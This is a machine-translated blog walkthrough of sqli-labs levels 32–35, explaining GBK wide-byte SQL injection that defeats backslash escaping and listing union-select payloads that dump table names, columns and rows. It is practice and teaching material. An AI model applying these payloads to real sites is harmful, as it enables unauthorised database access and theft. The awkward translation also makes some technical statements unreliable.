当前位置:网站首页>SQL Lab (32~35) contains the principle understanding and precautions of wide byte injection (continuously updated later)
SQL Lab (32~35) contains the principle understanding and precautions of wide byte injection (continuously updated later)
2022-07-07 12:24:00 【hcjtn】
(32~35) Contains the Principle understanding and precautions of wide byte injection
sql-lab-32
Let's start with 32 Pass on a parameter , Find out :
1\'and 1=2
ad locum \ Representative means ‘ escape ’, Take the back one ‘ Escape into a string , Make single quotation marks no longer have ’ effect ‘, just ’ Content ’ nothing more , In other words, this single quotation mark cannot play the role of closing with the front and back single quotation marks , Make the following input not be executed as code .
So we have two ways :
- Give Way \ No use
- Give Way \ disappear
Right and train of thought I , We can try to \ Transference , Make it lose escape ‘ The role of .
Wide byte is expanded according to idea 2 .
- When the size of a character is one byte , Call its characters narrow bytes .
- When the size of a character is two bytes , Call its characters wide bytes .
- All English takes one byte by default , Chinese characters take up two bytes
- Common wide byte encoding :GB2312,GBK,GB18030,BIG5,Shift_JIS wait
Wide byte injection :
- client 、 adjoining course 、 Result set All are GBK code
- Use iconv Character set conversion , take UTF-8 To GBK, meanwhile ,set names The character set is GBK. Submit %e9%8c%a6 that will do .
- Use set names UTF-8 It specifies UTF-8 Character set , And also use the escape function to escape . occasionally , In order to avoid confusion , Some users will submit GBK Character usage iconv function ( perhaps mb_convert_encoding) First to UTF-8, Then spell it SQL sentence .
** summary :** Wide byte injection can be performed as long as there are wide bytes .
The code of this page is inconsistent with that of the database , So there is a use iconv Wait for the conversion function to convert the character set , But in this topic Here's the problem .
for example :
When we are using url Coding is so php The code accepts %df%27** Submit the user when url Coded %df%27 Read it , Find out %27 It means single quotation mark , So we add escape characters \ Transference , So it becomes %df%5c%27, there %5c Namely \ Of url Encoded form . The problem is formed here , When PHP When the code executes the database , Will execute jbk Code conversion , stay jbk In the coding table %df%5c It represents a brand new Chinese character , So that the single quotation marks escape .
Previous ascii code > 128, Two characters can be combined into Chinese characters
In the above example, there is actually more than one injection form , As long as in the last jbk A brand new Chinese character can be formed in the coding .( But the predecessors on the Internet all use the same example , It's better to inherit this tradition . Hey )
Summarize the practice of this topic :
Determine whether there is injection :?id=1 %df’and 1=1 – q ?id=1 %df’and 1=2 – q
Determine the number of fields :?id=1 %df’ order by 3 – q
The judgment is obviously misplaced :?id=-1 %df’ union select 1,2,3 – q
Judge database name :?id=-1 %df’ union select 1,database(),3 – q
Name of judgment table :?id=-1 %df’ union select 1,table_name ,3 from information_schema.tables where table_schema= database() – q
Judge the listing :?id=-1 %df’ union select 1,column_name ,3 from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q
- Here we can put emails Convert to hex , Thus eliminating the use of single quotation marks .**
mysql Statement can recognize hexadecimal code
- notes :
- It cannot be used here %df‘ Because if after use after jbk code our SQL The statement will Turn into : Yun ’emalis Yun ‘ thus sql Injection failed .
Judgment data : ?id=-1 %df’ union select 1,id,3 from emails-- q
At the same time, let's observe 32 Off php Source code
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
There is a new function we haven't seen :
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
preg_last_error Function is used to escape regular expression characters .
Special characters of regular expressions are :’ . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
Summary of common codes :
- ASCII Only English symbols and letters are encoded ,GB2312 For English symbols , English letter , Chinese characters are encoded ,UTF8 It encodes all the languages in the world , therefore ,GB1212 The characters of contain ASCII character ,UTF8 Contains GB2312 character .
gbk And utf8 The difference and comparison of
GBK The text encoding of is represented by double bytes ,UTF-8 Encoding is a multi byte encoding for international characters .
GBK Contains all Chinese characters ;UTF-8 It contains the characters needed by all countries in the world .
GBK It's in the national standard GB2312 On this basis, it is compatible after expansion GB2312 Standards for ( It doesn't seem to be a national standard yet )
UTF-8 Coded text can be supported in various countries UTF8 The character set is displayed on the browser .
- such as , If it is UTF8 code , In foreigners' English IE It can also show Chinese on , Without them downloading IE Chinese language support package for . therefore , For forums with more English , Use GBK Then each character takes 2 Bytes , While using UTF-8 English is only one byte .
UTF8 It's international code , It has good versatility , Foreigners can also browse the forum ,GBK It's the country code , Versatility is better than UTF8 Bad , however UTF8 The database occupied is more than GBK Big .
Reprinted literature :
notes :
The times are developing ,utf-8 Development is the general trend , and utf-8 It can also avoid problems caused by many bytes
Use caution iconv To convert string encoding , It's easy to show up The statement ( Wide byte injection cannot be avoided ). As long as we put the front end html/js/css All codes are set to gbk,mysql/php Code set to gbk, There will be no confusion . There is no need to call iconv Transcoding , Cause unnecessary trouble .
Be careful with wide byte encoding !!!
sql-lab-33
The practice of the thirty three levels is exactly the same as that of the thirty two levels
Determine the number of fields :?id=1 %df’ order by 3 – q
The judgment is obviously misplaced :?id=-1 %df’ union select 1,2,3 – q
Judge database name :?id=-1 %df’ union select 1,database(),3 – q
Name of judgment table :?id=-1 %df’ union select 1,table_name ,3 from information_schema.tables where table_schema= database() – q
Judge the listing :?id=-1 %df’ union select 1,column_name ,3 from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q
Judgment data : ?id=-1 %df’ union select 1,id,3 from emails-- q
Looking at the source code, we find , The only difference is :
In the filter section php function :
Thirty two passes are written manually , Thirty three levels are used php Function to filter
unction check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes() Function returns in Predefined characters Before * Add backslash String .
The predefined characters are :
- Single quotation marks (’)
- Double quotes (")
- The backslash (\)
- NULL
sql-lab-34
stay 34 Guan, we saw the familiar backslash
So let's try 32 About wide byte injection mentioned , Use %df And ‘ Combine
Find out :
%df And \ combination By jbk Code as Chinese characters .
Compare to the front 32 Close directly at url Column to inject , our 34 Close in the input box to inject . Find out , stay url Enter... In the column %df mainly 16 Input in hexadecimal form , In the input box, enter %df Is entered as a normal string .
url A code is a character ascii The hexadecimal of the code . But there are some changes , You need to add “%”. such as “\”, its ascii Code is 92,92 The hexadecimal of is 5c, therefore “\” Of url The encoding is %5c.
So in this question , We can :
- Use burp suit
- Use Chinese characters to bypass .
First, let's explain the first method :
Input a’or 1=2 – q,
Grab it , stay hex The page will a Of 16 The hexadecimal code is changed to df( In essence, it is to use a character casually , stay hex Pages enable df Write before single quotation marks , And \ Combine to form new Chinese characters )
notes : Here df send 16 In base number A character
Then put the bag on it
The second method
Nature and %df similar Some Chinese characters are encoded as three bytes , Let's take three bytes apart , The first two are a group , The back one and \ Phase encoding is two bytes to bypass , Thus, single quotation marks escape .
So we can :
Determine the number of fields : han ’or 1=1 order by 3 – q
The judgment is obviously misplaced : han ’union select 1,2 – q
Judge database name : han ’union select 1,database()-- q
Name of judgment table : han ’union select 1,table_name from information_schema.tables where table_schema= database() – q
Judge the listing : han ’union select 1,column_name from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q
Judgment data : han ’union select 1,id from emails-- q
sql-lab-35
According to the ideas of the previous questions , Let's try to close , Sure enough Find out ’ It's commented out , Then we try to use %df , Use burpsuit hex Or Chinese characters to bypass , however , It's no use finding out
In fact, this question gave us a hint at the beginning
He said why should he care addslashes() function , In other words, here php Functions are useless
let me put it another way , There may be no closure here .
Let's try , It was found that this was true
Determine if there is an injection point :?id=1 and 1=1-- q
Determine the number of fields :?id=1 order by 3-- q
The judgment is obviously misplaced : ?id=-1 union select 1,2,3-- q
Judge database name :?id=-1 union select 1,2,database() – q
Name of judgment table :?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- q
Judge the listing :?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 – q
?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 limit 0,1-- q
notes : In the use of # When you comment limit 0,1 Not available
Because in the browser url In the bar # It's the anchor point During the transfer process, it will not be brought to the back end
Judgment data :?id=-1 union select 1,id ,3 from emails – q
边栏推荐
- 《看完就懂系列》天哪!搞懂节流与防抖竟简单如斯~
- UP Meta—Web3.0世界创新型元宇宙金融协议
- Is it safe to open an account in Ping An Securities mobile bank?
- <No. 9> 1805. 字符串中不同整数的数目 (简单)
- 开发一个小程序商城需要多少钱?
- Several methods of checking JS to judge empty objects
- 111. Network security penetration test - [privilege escalation 9] - [windows 2008 R2 kernel overflow privilege escalation]
- Explore cloud database of cloud services together
- Problem: the string and characters are typed successively, and the results conflict
- Hi3516 full system type burning tutorial
猜你喜欢
Introduction and application of smoothstep in unity: optimization of dissolution effect
盘点JS判断空对象的几大方法
Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
Epp+dis learning road (2) -- blink! twinkle!
Detailed explanation of debezium architecture of debezium synchronization
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
30. Feed shot named entity recognition with self describing networks reading notes
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
从工具升级为解决方案,有赞的新站位指向新价值
随机推荐
Swiftui swift internal skill: five skills of using opaque type in swift
Rationaldmis2022 array workpiece measurement
Superscalar processor design yaoyongbin Chapter 8 instruction emission excerpt
Learning and using vscode
EPP+DIS学习之路(1)——Hello world!
数据库系统原理与应用教程(007)—— 数据库相关概念
Apache installation problem: configure: error: APR not found Please read the documentation
powershell cs-UTF-16LE编码上线
Epp+dis learning path (1) -- Hello world!
wallys/Qualcomm IPQ8072A networking SBC supports dual 10GbE, WiFi 6
H3C HCl MPLS layer 2 dedicated line experiment
超标量处理器设计 姚永斌 第8章 指令发射 摘录
Let digital manage inventory
Time bomb inside the software: 0-day log4shell is just the tip of the iceberg
An error occurred when vscade tried to create a file in the target directory: access denied [resolved]
2022 年第八届“认证杯”中国高校风险管理与控制能力挑战赛
What is a LAN domain name? How to parse?
The hoisting of the upper cylinder of the steel containment of the world's first reactor "linglong-1" reactor building was successful
千人规模互联网公司研发效能成功之路
Zero shot, one shot and few shot